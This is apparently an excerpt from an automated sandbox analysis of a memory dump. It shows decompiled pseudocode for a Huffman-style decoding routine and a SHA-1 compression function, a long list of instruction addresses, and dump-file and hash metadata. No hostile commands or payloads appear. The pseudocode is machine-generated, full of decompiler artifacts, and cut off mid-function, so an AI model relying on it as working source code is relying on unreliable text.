														__eflags =  *(_t691 + 0x1c) - _t498;
														if( *(_t691 + 0x1c) >= _t498) {
															__eflags = _t498 - 8;
															if(_t498 < 8) {
																goto L85;
															}
															_t443 = _t498 >> 3;
															__eflags = _t443;
															 *(_t691 + 0x1c) = _t443;
															_t662 = _t443;
															do {
																E0136EA80(_t529, _t675, 8);
																_t563 =  *((intOrPtr*)(_t691 + 0x30));
																_t691 = _t691 + 0xc;
																_t529 = _t563 + 8;
																_t675 = _t675 + 8;
																_t498 = _t498 - 8;
																 *(_t691 + 0x24) = _t529;
																_t662 = _t662 - 1;
																__eflags = _t662;
															} while (_t662 != 0);
															goto L84;
														}
														__eflags = _t498 - 8;
														if(_t498 < 8) {
															goto L85;
														}
														_t644 = _t498 >> 3;
														__eflags = _t644;
														do {
															_t498 = _t498 - 8;
															 *_t529 =  *_t675;
															 *((char*)(_t529 + 1)) =  *((intOrPtr*)(_t675 + 1));
															 *((char*)(_t529 + 2)) =  *((intOrPtr*)(_t675 + 2));
															 *((char*)(_t529 + 3)) =  *((intOrPtr*)(_t675 + 3));
															 *((char*)(_t529 + 4)) =  *((intOrPtr*)(_t675 + 4));
															 *((char*)(_t529 + 5)) =  *((intOrPtr*)(_t675 + 5));
															 *((char*)(_t529 + 6)) =  *((intOrPtr*)(_t675 + 6));
															_t452 =  *((intOrPtr*)(_t675 + 7));
															_t675 = _t675 + 8;
															 *((char*)(_t529 + 7)) = _t452;
															_t529 = _t529 + 8;
															_t644 = _t644 - 1;
															__eflags = _t644;
														} while (_t644 != 0);
														goto L85;
													}
												} else {
													__eflags = _t430 - 4;
													if(__eflags < 0) {
														_t453 = E01367D76(_t654 + 4);
														_t565 = 0x20;
														_t568 =  *(_t654 + 8) +  *(_t691 + 0x18);
														_t683 = (_t453 >> _t565 -  *(_t691 + 0x18)) +  *(_t691 + 0x24);
														 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t568 >> 3);
														_t569 = _t568 & 0x00000007;
														__eflags = _t569;
														 *(_t654 + 8) = _t569;
														L69:
														 *(_t691 + 0x1c) = _t683;
														goto L70;
													}
													if(__eflags <= 0) {
														_t645 = _t654 + 4;
													} else {
														_t467 = E01367D76(_t654 + 4);
														_t651 =  *(_t691 + 0x18);
														_t587 = 0x24;
														_t590 = _t651 - 4 +  *(_t654 + 8);
														_t645 = _t654 + 4;
														_t683 = (_t467 >> _t587 - _t651 << 4) +  *(_t691 + 0x24);
														 *_t645 =  *_t645 + (_t590 >> 3);
														 *(_t645 + 4) = _t590 & 0x00000007;
													}
													_t456 = E0135A4ED(_t645);
													_t457 =  *(_t654 + 0x1e8c);
													_t647 = _t456 & 0x0000fffe;
													__eflags = _t647 -  *((intOrPtr*)(_t654 + 0x1e0c + _t457 * 4));
													if(_t647 >=  *((intOrPtr*)(_t654 + 0x1e0c + _t457 * 4))) {
														_t571 = 0xf;
														_t458 = _t457 + 1;
														 *(_t691 + 0x18) = _t571;
														__eflags = _t458 - _t571;
														if(_t458 >= _t571) {
															L66:
															_t573 =  *(_t654 + 8) +  *(_t691 + 0x18);
															 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t573 >> 3);
															_t461 =  *(_t691 + 0x18);
															 *(_t654 + 8) = _t573 & 0x00000007;
															_t575 = 0x10;
															_t578 =  *((intOrPtr*)(_t654 + 0x1e4c + _t461 * 4)) + (_t647 -  *((intOrPtr*)(_t654 + 0x1e08 + _t461 * 4)) >> _t575 - _t461);
															__eflags = _t578 -  *((intOrPtr*)(_t654 + 0x1e08));
															asm("sbb eax, eax");
															_t462 = _t461 & _t578;
															__eflags = _t462;
															_t463 =  *(_t654 + 0x2a90 + _t462 * 2) & 0x0000ffff;
															goto L67;
														}
														_t580 = _t654 + (_t458 + 0x783) * 4;
														while(1) {
															__eflags = _t647 -  *_t580;
															if(_t647 <  *_t580) {
																break;
															}
															_t458 = _t458 + 1;
															_t580 = _t580 + 4;
															__eflags = _t458 - 0xf;
															if(_t458 < 0xf) {
																continue;
															}
															goto L66;
														}
														 *(_t691 + 0x18) = _t458;
														goto L66;
													} else {
														_t581 = 0x10;
														_t650 = _t647 >> _t581 - _t457;
														_t584 = ( *(_t650 + _t654 + 0x1e90) & 0x000000ff) +  *(_t654 + 8);
														 *((intOrPtr*)(_t654 + 4)) =  *((intOrPtr*)(_t654 + 4)) + (_t584 >> 3);
														 *(_t654 + 8) = _t584 & 0x00000007;
														_t463 =  *(_t654 + 0x2290 + _t650 * 2) & 0x0000ffff;
														L67:
														_t683 = _t683 + (_t463 & 0x0000ffff);
														goto L69;
													}
												}
											}
										}
										 *( *((intOrPtr*)(_t663 + 0x4b40)) +  *(_t663 + 0x7c)) = _t619;
										_t69 = _t663 + 0x7c;
										 *_t69 =  *(_t663 + 0x7c) + 1;
										__eflags =  *_t69;
										goto L33;
									}
									_t607 = _t654 + (_t353 + 0xd) * 4;
									while(1) {
										__eflags = _t616 -  *_t607;
										if(_t616 <  *_t607) {
											break;
										}
										_t353 = _t353 + 1;
										_t607 = _t607 + 4;
										__eflags = _t353 - 0xf;
										if(_t353 < 0xf) {
											continue;
										}
										goto L30;
									}
									_t490 = _t353;
									goto L30;
								}
								_t608 = 0x10;
								_t653 = _t616 >> _t608 - _t352;
								_t611 = ( *(_t653 + _t654 + 0xb8) & 0x000000ff) +  *(_t667 + 4);
								 *_t667 =  *_t667 + (_t611 >> 3);
								_t347 = _t654 + 4;
								 *(_t347 + 4) = _t611 & 0x00000007;
								_t619 =  *(_t654 + 0x4b8 + _t653 * 2) & 0x0000ffff;
								goto L31;
							}
							__eflags = _t507 -  *(_t663 + 0x7c);
							if(_t507 ==  *(_t663 + 0x7c)) {
								goto L21;
							}
							E013647DA(_t663);
							__eflags =  *((intOrPtr*)(_t663 + 0x4c5c)) -  *((intOrPtr*)(_t663 + 0x4c4c));
							if(__eflags > 0) {
								L152:
								_t418 = 0;
								goto L101;
							}
							if(__eflags < 0) {
								goto L21;
							}
							__eflags =  *((intOrPtr*)(_t663 + 0x4c58)) -  *((intOrPtr*)(_t663 + 0x4c48));
							if( *((intOrPtr*)(_t663 + 0x4c58)) >  *((intOrPtr*)(_t663 + 0x4c48))) {
								goto L152;
							}
							goto L21;
						}
					}
				}
				 *((char*)(_t654 + 0x2c)) = 1;
				_push(_t654 + 0x30);
				_push(_t654 + 0x18);
				_push(_t654 + 4);
				if(E0136397F(__ecx) != 0) {
					goto L3;
				}
				goto L2;
			}

0x01366ce0
0x01366ce4
0x01366cea
0x01366d13
0x01366d16
0x01366d1b
0x01366d1e
0x01366d05
0x01366d05
0x00000000
0x01366d20
0x01366d2b
0x01366d2e
0x01366d31
0x01366d35
0x01366d39
0x01366d3d
0x01366d3f
0x01366d41
0x01366d41
0x01366d45
0x01366d52
0x01366d52
0x01366d58
0x01366d5b
0x01366d5d
0x01366d61
0x00000000
0x00000000
0x01366d63
0x01366d63
0x01366d65
0x013672f0
0x013672f0
0x013672f2
0x00000000
0x013672f3
0x01366d6b
0x01366d79
0x01366d79
0x01366d7b
0x01366d8a
0x01366d8a
0x01366d90
0x0136763f
0x0136763f
0x00000000
0x0136763f
0x00000000
0x01366d90
0x01366d7d
0x01366d84
0x00000000
0x00000000
0x00000000
0x01366d84
0x01366d70
0x01366d73
0x00000000
0x00000000
0x00000000
0x01366d96
0x01366d96
0x01366da3
0x01366da8
0x01366ddc
0x01366ddc
0x01366de1
0x01366de8
0x01366dee
0x01366df4
0x01366df8
0x01366e32
0x01366e33
0x01366e34
0x01366e36
0x01366e4f
0x01366e52
0x01366e59
0x01366e5c
0x01366e5f
0x01366e68
0x01366e71
0x01366e73
0x01366e76
0x01366e78
0x01366e78
0x01366e7a
0x01366e82
0x01366e85
0x01366e8a
0x01366e8c
0x01366ea5
0x01366eab
0x013672c7
0x013672c9
0x013672fc
0x01367302
0x0136741e
0x0136741e
0x01367427
0x0136742a
0x0136742c
0x01367430
0x0136743f
0x0136743f
0x01367442
0x01367447
0x0136744e
0x01367454
0x0136745a
0x01367461
0x0136748f
0x01367490
0x01367491
0x01367493
0x013674af
0x013674b2
0x013674b9
0x013674bc
0x013674bf
0x013674cb
0x013674d7
0x013674d9
0x013674df
0x013674e1
0x013674e1
0x013674e3
0x013674eb
0x013674eb
0x013674ee
0x013674f1
0x01367502
0x01367505
0x01367505
0x013674f3
0x013674f3
0x013674f3
0x01367507
0x0136750a
0x0136750c
0x01367511
0x01367518
0x01367520
0x01367522
0x01367529
0x0136752c
0x0136752c
0x0136752f
0x0136752f
0x01367532
0x0136753d
0x01367541
0x01367546
0x01367549
0x0136754b
0x013675ff
0x013675ff
0x01367602
0x01367604
0x00000000
0x00000000
0x0136760a
0x01367610
0x01367616
0x0136761b
0x0136761f
0x01367625
0x0136762e
0x01367631
0x01367631
0x01367631
0x01367636
0x01367636
0x01366e9d
0x01366e9d
0x00000000
0x01367551
0x01367551
0x01367553
0x00000000
0x00000000
0x01367559
0x0136755f
0x01367561
0x01367567
0x0136756b
0x0136756e
0x01367572
0x013675c4
0x013675c7
0x013671fb
0x013671fb
0x013671fe
0x01367200
0x01366d4a
0x01366d4e
0x01366d4e
0x01366d52
0x01366d52
0x01366d58
0x01366d5b
0x01366d5d
0x01366d61
0x00000000
0x00000000
0x00000000
0x01366d61
0x01366d52
0x01367209
0x0136720b
0x0136720e
0x01367211
0x00000000
0x00000000
0x0136721a
0x0136721d
0x01367220
0x01367223
0x00000000
0x00000000
0x0136722c
0x0136722f
0x01367232
0x01367235
0x00000000
0x00000000
0x0136723e
0x01367241
0x01367244
0x01367247
0x00000000
0x00000000
0x01367250
0x01367253
0x01367256
0x01367259
0x00000000
0x00000000
0x01367262
0x01367265
0x01367269
0x0136726c
0x0136726f
0x01367278
0x0136727b
0x0136727b
0x00000000
0x0136726f
0x013675cf
0x013675cf
0x013675d2
0x013675d6
0x013675d8
0x013675dc
0x013675e1
0x013675e5
0x013675e8
0x013675eb
0x013675ee
0x013675f1
0x013675f5
0x013675f5
0x013675f5
0x013671f7
0x013671f7
0x00000000
0x013671f7
0x01367574
0x01367577
0x00000000
0x00000000
0x0136757f
0x0136757f
0x01367582
0x01367585
0x01367588
0x0136758d
0x01367593
0x01367599
0x0136759f
0x013675a5
0x013675ab
0x013675ae
0x013675b1
0x013675b4
0x013675b7
0x013675ba
0x013675ba
0x013675ba
0x00000000
0x013675bf
0x0136754b
0x0136749b
0x0136749e
0x0136749e
0x013674a0
0x00000000
0x00000000
0x013674a2
0x013674a3
0x013674a6
0x013674a9
0x00000000
0x00000000
0x00000000
0x013674ab
0x013674ad
0x00000000
0x013674ad
0x01367465
0x01367468
0x01367472
0x0136747a
0x01367480
0x01367483
0x00000000
0x00000000
0x00000000
0x00000000
0x01367432
0x01367432
0x01367435
0x01367437
0x0136743a
0x0136743a
0x0136743a
0x00000000
0x01367432
0x01367308
0x0136730b
0x0136730f
0x01367311
0x01366e27
0x01366e27
0x00000000
0x01366e27
0x01367317
0x0136731a
0x0136731f
0x01367321
0x0136732b
0x01367330
0x01367332
0x013673e2
0x013673e2
0x013673e5
0x013673e7
0x00000000
0x00000000
0x013673ed
0x013673f3
0x013673f9
0x013673fe
0x01367402
0x01367408
0x01367411
0x01367414
0x01367414
0x01367414
0x00000000
0x01367419
0x01367338
0x0136733a
0x00000000
0x00000000
0x01367340
0x01367346
0x01367348
0x0136734e
0x01367352
0x01367355
0x01367359
0x013673ab
0x013673ae
0x00000000
0x00000000
0x013673b6
0x013673b6
0x013673b9
0x013673bb
0x013673bf
0x013673c4
0x013673c8
0x013673cb
0x013673ce
0x013673d1
0x013673d4
0x013673d8
0x013673d8
0x013673d8
0x00000000
0x013673dd
0x0136735b
0x0136735e
0x00000000
0x00000000
0x01367366
0x01367366
0x01367369
0x0136736c
0x0136736f
0x01367374
0x0136737a
0x01367380
0x01367386
0x0136738c
0x01367392
0x01367395
0x01367398
0x0136739b
0x0136739e
0x013673a1
0x013673a1
0x013673a1
0x00000000
0x013673a6
0x013672cf
0x013672d3
0x013672d8
0x013672da
0x00000000
0x00000000
0x013672e3
0x013672e8
0x013672ea
0x00000000
0x00000000
0x00000000
0x013672ea
0x01366eb1
0x01366eb7
0x01366eba
0x01366ecb
0x01366ece
0x01366ece
0x01366ebc
0x01366ebc
0x01366ebc
0x01366ed0
0x01366ed3
0x01366ed5
0x01366eff
0x01366ed7
0x01366ed9
0x01366ee0
0x01366ee8
0x01366eea
0x01366eec
0x01366ef4
0x01366efa
0x01366efa
0x01366f04
0x01366f0b
0x01366f11
0x01366f17
0x01366f1e
0x01366f4c
0x01366f4d
0x01366f4e
0x01366f50
0x01366f6c
0x01366f6f
0x01366f76
0x01366f79
0x01366f7c
0x01366f88
0x01366f94
0x01366f96
0x01366f9c
0x01366f9e
0x01366f9e
0x01366fa0
0x00000000
0x01366fa0
0x01366f58
0x01366f5b
0x01366f5b
0x01366f5d
0x00000000
0x00000000
0x01366f5f
0x01366f60
0x01366f63
0x01366f66
0x00000000
0x00000000
0x00000000
0x01366f68
0x01366f6a
0x00000000
0x01366f20
0x01366f22
0x01366f25
0x01366f2f
0x01366f37
0x01366f3d
0x01366f40
0x01366fa8
0x01366fa8
0x01366fab
0x01366fae
0x01366fbe
0x01366fc1
0x01366fc1
0x01366fb0
0x01366fb0
0x01366fb0
0x01366fc3
0x01366fc7
0x01366fca
0x01366fce
0x01366fd0
0x01366fd4
0x01366fd6
0x01367107
0x01367107
0x0136710d
0x0136710f
0x01367110
0x01367116
0x01367118
0x01367119
0x0136711f
0x01367121
0x01367121
0x01367121
0x0136711f
0x01367116
0x01367125
0x0136712b
0x01367131
0x01367134
0x01367137
0x01367142
0x01367144
0x01367149
0x0136714c
0x01367150
0x01367152
0x01367283
0x01367283
0x01367287
0x0136728a
0x0136728c
0x00000000
0x00000000
0x01367292
0x01367298
0x0136729c
0x013672a2
0x013672a7
0x013672ab
0x013672b1
0x013672ba
0x013672bd
0x013672bd
0x013672bd
0x00000000
0x01367158
0x01367158
0x0136715a
0x00000000
0x00000000
0x01367160
0x01367166
0x01367169
0x0136716f
0x01367173
0x01367176
0x0136717a
0x013671c5
0x013671c8
0x00000000
0x00000000
0x013671cc
0x013671cc
0x013671cf
0x013671d3
0x013671d5
0x013671d9
0x013671de
0x013671e2
0x013671e5
0x013671e8
0x013671eb
0x013671ee
0x013671f2
0x013671f2
0x013671f2
0x00000000
0x013671d5
0x0136717c
0x0136717f
0x00000000
0x00000000
0x01367183
0x01367183
0x01367186
0x01367189
0x0136718c
0x01367191
0x01367197
0x0136719d
0x013671a3
0x013671a9
0x013671af
0x013671b2
0x013671b5
0x013671b8
0x013671bb
0x013671be
0x013671be
0x013671be
0x00000000
0x013671c3
0x01366fdc
0x01366fdc
0x01366fdf
0x013670da
0x013670e3
0x013670ed
0x013670f1
0x013670fa
0x013670fd
0x013670fd
0x01367100
0x01367103
0x01367103
0x00000000
0x01367103
0x01366fe5
0x0136701b
0x01366fe7
0x01366fea
0x01366fef
0x01366ff7
0x01366fff
0x01367002
0x0136700a
0x01367011
0x01367016
0x01367016
0x01367020
0x01367027
0x0136702d
0x01367033
0x0136703a
0x01367068
0x01367069
0x0136706a
0x0136706e
0x01367070
0x0136708e
0x01367091
0x0136709d
0x013670a0
0x013670a4
0x013670a9
0x013670bc
0x013670be
0x013670c4
0x013670c6
0x013670c6
0x013670c8
0x00000000
0x013670c8
0x01367078
0x0136707b
0x0136707b
0x0136707d
0x00000000
0x00000000
0x0136707f
0x01367080
0x01367083
0x01367086
0x00000000
0x00000000
0x00000000
0x01367088
0x0136708a
0x00000000
0x0136703c
0x0136703e
0x01367041
0x0136704b
0x01367053
0x01367059
0x0136705c
0x013670d0
0x013670d3
0x00000000
0x013670d3
0x0136703a
0x01366fd6
0x01366f1e
0x01366e97
0x01366e9a
0x01366e9a
0x01366e9a
0x00000000
0x01366e9a
0x01366e3b
0x01366e3e
0x01366e3e
0x01366e40
0x00000000
0x00000000
0x01366e42
0x01366e43
0x01366e46
0x01366e49
0x00000000
0x00000000
0x00000000
0x01366e4b
0x01366e4d
0x00000000
0x01366e4d
0x01366dfc
0x01366dff
0x01366e09
0x01366e11
0x01366e17
0x01366e1a
0x01366e1d
0x00000000
0x01366e1d
0x01366daa
0x01366dad
0x00000000
0x00000000
0x01366db1
0x01366dbc
0x01366dc2
0x0136764b
0x0136764b
0x00000000
0x0136764b
0x01366dc8
0x00000000
0x00000000
0x01366dd0
0x01366dd6
0x00000000
0x00000000
0x00000000
0x01366dd6
0x01366d52
0x01366d1e
0x01366cef
0x01366cf3
0x01366cf7
0x01366cfb
0x01366d03
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 807f214746869600fdd18866b4149cd4aafbd92bc6957c1dafb80c3f5aedf6e6
Instruction ID: 2b64b9aac1ef93b40394f90144628402da9bdce035fe1a7525efc5f3ddfaffd9
Opcode Fuzzy Hash: 807f214746869600fdd18866b4149cd4aafbd92bc6957c1dafb80c3f5aedf6e6
Instruction Fuzzy Hash: 726236B020478A9FC719CF28C8905B9FBE5BF5520CF48C66ED9968B74AD330E955CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0135E973, Relevance: .7, Instructions: 694
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E0135E973(signed int* _a4, signed int _a8, signed int _a12, signed int _a16) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int* _v20;
				signed int _v24;
				signed int _v28;
				signed int _t429;
				intOrPtr _t431;
				intOrPtr _t436;
				void* _t441;
				intOrPtr _t443;
				signed int _t446;
				void* _t448;
				signed int _t454;
				signed int _t460;
				signed int _t466;
				signed int _t474;
				signed int _t482;
				signed int _t489;
				signed int _t512;
				signed int _t519;
				signed int _t526;
				signed int _t546;
				signed int _t555;
				signed int _t564;
				signed int* _t592;
				signed int _t593;
				signed int _t595;
				signed int _t596;
				signed int* _t597;
				signed int _t598;
				signed int _t599;
				signed int _t601;
				signed int _t603;
				signed int _t604;
				signed int* _t605;
				signed int _t606;
				signed int* _t670;
				signed int* _t741;
				signed int _t752;
				signed int _t769;
				signed int _t773;
				signed int _t777;
				signed int _t781;
				signed int _t782;
				signed int _t786;
				signed int _t787;
				signed int _t791;
				signed int _t796;
				signed int _t800;
				signed int _t804;
				signed int _t806;
				signed int _t809;
				signed int _t810;
				signed int* _t811;
				signed int _t814;
				signed int _t815;
				signed int _t816;
				signed int _t820;
				signed int _t821;
				signed int _t825;
				signed int _t830;
				signed int _t834;
				signed int _t838;
				signed int* _t839;
				signed int _t841;
				signed int _t842;
				signed int _t844;
				signed int _t845;
				signed int _t847;
				signed int* _t848;
				signed int _t851;
				signed int* _t854;
				signed int _t855;
				signed int _t857;
				signed int _t858;
				signed int _t862;
				signed int _t863;
				signed int _t867;
				signed int _t871;
				signed int _t875;
				signed int _t879;
				signed int _t880;
				signed int* _t881;
				signed int _t882;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t890;
				signed int _t891;
				signed int _t893;
				signed int _t894;
				signed int _t896;
				signed int _t897;
				signed int* _t898;
				signed int _t899;
				signed int _t901;
				signed int _t902;
				signed int _t904;
				signed int _t905;

				_t906 =  &_v28;
				if(_a16 == 0) {
					_t839 = _a8;
					_v20 = _t839;
					E0136EA80(_t839, _a12, 0x40);
					_t906 =  &(( &_v28)[3]);
				} else {
					_t839 = _a12;
					_v20 = _t839;
				}
				_t848 = _a4;
				_t593 =  *_t848;
				_t886 = _t848[1];
				_a12 = _t848[2];
				_a16 = _t848[3];
				_v24 = 0;
				_t429 = E01375604( *_t839);
				asm("rol edx, 0x5");
				 *_t839 = _t429;
				_t851 = _t848[4] + 0x5a827999 + ((_a16 ^ _a12) & _t886 ^ _a16) + _t593 + _t429;
				_t430 = _t839;
				asm("ror ebp, 0x2");
				_v16 = _t839;
				_a8 =  &(_t839[3]);
				do {
					_t431 = E01375604(_t430[1]);
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_v16 + 4)) = _t431;
					asm("ror ebx, 0x2");
					_a16 = _a16 + 0x5a827999 + ((_a12 ^ _t886) & _t593 ^ _a12) + _t851 + _t431;
					_t436 = E01375604( *((intOrPtr*)(_a8 - 4)));
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_a8 - 4)) = _t436;
					asm("ror esi, 0x2");
					_a12 = _a12 + 0x5a827999 + ((_t886 ^ _t593) & _t851 ^ _t886) + _a16 + _t436;
					_t441 = E01375604( *_a8);
					asm("rol edx, 0x5");
					 *_a8 = _t441;
					asm("ror dword [esp+0x48], 0x2");
					_t886 = _t886 + ((_t851 ^ _t593) & _a16 ^ _t593) + _a12 + 0x5a827999 + _t441;
					_t443 = E01375604( *((intOrPtr*)(_a8 + 4)));
					_a8 = _a8 + 0x14;
					asm("rol edx, 0x5");
					 *((intOrPtr*)(_a8 + 4)) = _t443;
					_t446 = _v24 + 5;
					asm("ror dword [esp+0x48], 0x2");
					_v24 = _t446;
					_t593 = _t593 + ((_t851 ^ _a16) & _a12 ^ _t851) + _t886 + _t443 + 0x5a827999;
					_v16 =  &(_t839[_t446]);
					_t448 = E01375604(_t839[_t446]);
					_t906 =  &(_t906[5]);
					asm("rol edx, 0x5");
					 *_v16 = _t448;
					_t430 = _v16;
					asm("ror ebp, 0x2");
					_t851 = _t851 + 0x5a827999 + ((_a16 ^ _a12) & _t886 ^ _a16) + _t593 + _t448;
				} while (_v24 != 0xf);
				_t769 = _t839[0xd] ^ _t839[8] ^ _t839[2] ^  *_t839;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				 *_t839 = _t769;
				_t454 = ((_a12 ^ _t886) & _t593 ^ _a12) + _t851 + _t769 + _a16 + 0x5a827999;
				_t773 = _t839[0xe] ^ _t839[9] ^ _t839[3] ^ _t839[1];
				_a16 = _t454;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				asm("ror ebx, 0x2");
				_t839[1] = _t773;
				_t777 = _t839[0xf] ^ _t839[0xa] ^ _t839[4] ^ _t839[2];
				_t460 = ((_t886 ^ _t593) & _t851 ^ _t886) + _t454 + _t773 + _a12 + 0x5a827999;
				asm("ror esi, 0x2");
				_a8 = _t460;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				_t839[2] = _t777;
				_t466 = ((_t851 ^ _t593) & _a16 ^ _t593) + _t460 + 0x5a827999 + _t777 + _t886;
				_t887 = _a16;
				_t781 = _t839[0xb] ^ _t839[5] ^ _t839[3] ^  *_t839;
				_v28 = _t466;
				asm("ror ebp, 0x2");
				_a16 = _t887;
				_t888 = _a8;
				asm("rol edx, 1");
				asm("rol ecx, 0x5");
				_t839[3] = _t781;
				asm("ror ebp, 0x2");
				_t782 = 0x11;
				_a12 = ((_t851 ^ _t887) & _t888 ^ _t851) + 0x5a827999 + _t466 + _t781 + _t593;
				_a8 = _t888;
				_v16 = _t782;
				do {
					_t89 = _t782 + 5; // 0x16
					_t474 = _t89;
					_v8 = _t474;
					_t91 = _t782 - 5; // 0xc
					_t92 = _t782 + 3; // 0x14
					_t890 = _t92 & 0x0000000f;
					_t595 = _t474 & 0x0000000f;
					_v12 = _t890;
					_t786 = _t839[_t91 & 0x0000000f] ^ _t839[_t782 & 0x0000000f] ^ _t839[_t595] ^ _t839[_t890];
					asm("rol edx, 1");
					_t839[_t890] = _t786;
					_t891 = _v28;
					asm("rol ecx, 0x5");
					asm("ror ebp, 0x2");
					_v28 = _t891;
					_t482 = _v16;
					_v24 = _t851 + (_a16 ^ _a8 ^ _t891) + 0x6ed9eba1 + _a12 + _t786;
					_t854 = _v20;
					_t787 = 0xf;
					_t841 = _t482 + 0x00000006 & _t787;
					_t893 = _t482 + 0x00000004 & _t787;
					_t791 =  *(_t854 + (_t482 - 0x00000004 & _t787) * 4) ^  *(_t854 + (_t482 + 0x00000001 & _t787) * 4) ^  *(_t854 + _t893 * 4) ^  *(_t854 + _t841 * 4);
					asm("rol edx, 1");
					 *(_t854 + _t893 * 4) = _t791;
					_t855 = _a12;
					asm("rol ecx, 0x5");
					asm("ror esi, 0x2");
					_a12 = _t855;
					_t489 = _v16;
					_a16 = _a16 + 0x6ed9eba1 + (_a8 ^ _v28 ^ _t855) + _v24 + _t791;
					_t857 = _t489 + 0x00000007 & 0x0000000f;
					_t670 = _v20;
					_t796 = _v20[_t489 - 0x00000003 & 0x0000000f] ^  *(_t670 + (_t489 + 0x00000002 & 0x0000000f) * 4) ^  *(_t670 + _t595 * 4) ^  *(_t670 + _t857 * 4);
					asm("rol edx, 1");
					 *(_t670 + _t595 * 4) = _t796;
					_t596 = _v24;
					asm("rol ecx, 0x5");
					asm("ror ebx, 0x2");
					_v24 = _t596;
					_t597 = _v20;
					_a8 = _a8 + 0x6ed9eba1 + (_t596 ^ _v28 ^ _a12) + _a16 + _t796;
					asm("rol ecx, 0x5");
					_t800 =  *(_t597 + (_v16 - 0x00000008 & 0x0000000f) * 4) ^  *(_t597 + (_v16 + 0xfffffffe & 0x0000000f) * 4) ^  *(_t597 + _t841 * 4) ^  *(_t597 + _v12 * 4);
					asm("rol edx, 1");
					 *(_t597 + _t841 * 4) = _t800;
					_t598 = _a16;
					_t839 = _v20;
					asm("ror ebx, 0x2");
					_a16 = _t598;
					_v28 = _v28 + 0x6ed9eba1 + (_v24 ^ _t598 ^ _a12) + _a8 + _t800;
					_t804 = _t839[_v16 - 0x00000007 & 0x0000000f] ^ _t839[_v16 - 0x00000001 & 0x0000000f] ^ _t839[_t893] ^ _t839[_t857];
					_t894 = _a8;
					asm("rol edx, 1");
					_t839[_t857] = _t804;
					_t851 = _v24;
					asm("rol ecx, 0x5");
					_t782 = _v8;
					asm("ror ebp, 0x2");
					_a8 = _t894;
					_a12 = _a12 + 0x6ed9eba1 + (_t851 ^ _t598 ^ _t894) + _v28 + _t804;
					_v16 = _t782;
				} while (_t782 + 3 <= 0x23);
				_t858 = 0x25;
				_v16 = _t858;
				while(1) {
					_t199 = _t858 + 5; // 0x2a
					_t512 = _t199;
					_t200 = _t858 - 5; // 0x20
					_v4 = _t512;
					_t202 = _t858 + 3; // 0x28
					_t806 = _t202 & 0x0000000f;
					_v8 = _t806;
					_t896 = _t512 & 0x0000000f;
					_t862 = _t839[_t200 & 0x0000000f] ^ _t839[_t858 & 0x0000000f] ^ _t839[_t806] ^ _t839[_t896];
					asm("rol esi, 1");
					_t599 = _v28;
					_t839[_t806] = _t862;
					asm("rol edx, 0x5");
					asm("ror ebx, 0x2");
					_t863 = 0xf;
					_v28 = _t599;
					_v24 = _a12 - 0x70e44324 + ((_a8 | _v28) & _t598 | _a8 & _t599) + _t862 + _v24;
					_t519 = _v16;
					_t601 = _t519 + 0x00000006 & _t863;
					_t809 = _t519 + 0x00000004 & _t863;
					_v12 = _t809;
					_t867 = _t839[_t519 - 0x00000004 & _t863] ^ _t839[_t519 + 0x00000001 & _t863] ^ _t839[_t809] ^ _t839[_t601];
					asm("rol esi, 1");
					_t839[_t809] = _t867;
					_t842 = _a12;
					_t810 = _v24;
					asm("rol edx, 0x5");
					asm("ror edi, 0x2");
					_a12 = _t842;
					_t243 = _t810 - 0x70e44324; // -1894007573
					_t811 = _v20;
					_a16 = _t243 + ((_v28 | _t842) & _a8 | _v28 & _t842) + _t867 + _a16;
					_t526 = _v16;
					_t844 = _t526 + 0x00000007 & 0x0000000f;
					_t871 =  *(_t811 + (_t526 - 0x00000003 & 0x0000000f) * 4) ^  *(_t811 + (_t526 + 0x00000002 & 0x0000000f) * 4) ^  *(_t811 + _t844 * 4) ^  *(_t811 + _t896 * 4);
					asm("rol esi, 1");
					 *(_t811 + _t896 * 4) = _t871;
					_t897 = _v24;
					asm("rol edx, 0x5");
					asm("ror ebp, 0x2");
					_t814 = _a16 + 0x8f1bbcdc + ((_t897 | _a12) & _v28 | _t897 & _a12) + _t871 + _a8;
					_v24 = _t897;
					_t898 = _v20;
					_a8 = _t814;
					asm("rol edx, 0x5");
					_t875 =  *(_t898 + (_v16 - 0x00000008 & 0x0000000f) * 4) ^  *(_t898 + (_v16 + 0xfffffffe & 0x0000000f) * 4) ^  *(_t898 + _v8 * 4) ^  *(_t898 + _t601 * 4);
					asm("rol esi, 1");
					 *(_t898 + _t601 * 4) = _t875;
					_t598 = _a16;
					asm("ror ebx, 0x2");
					_a16 = _t598;
					_t815 = _t814 + ((_v24 | _t598) & _a12 | _v24 & _t598) + 0x8f1bbcdc + _t875 + _v28;
					_v28 = _t815;
					asm("rol edx, 0x5");
					_t879 =  *(_t898 + (_v16 - 0x00000007 & 0x0000000f) * 4) ^  *(_t898 + (_v16 - 0x00000001 & 0x0000000f) * 4) ^  *(_t898 + _t844 * 4) ^  *(_t898 + _v12 * 4);
					asm("rol esi, 1");
					 *(_t898 + _t844 * 4) = _t879;
					_t899 = _a8;
					_t845 = _v24;
					asm("ror ebp, 0x2");
					_a8 = _t899;
					_t858 = _v4;
					_a12 = _t815 - 0x70e44324 + ((_t598 | _t899) & _t845 | _t598 & _t899) + _t879 + _a12;
					_v16 = _t858;
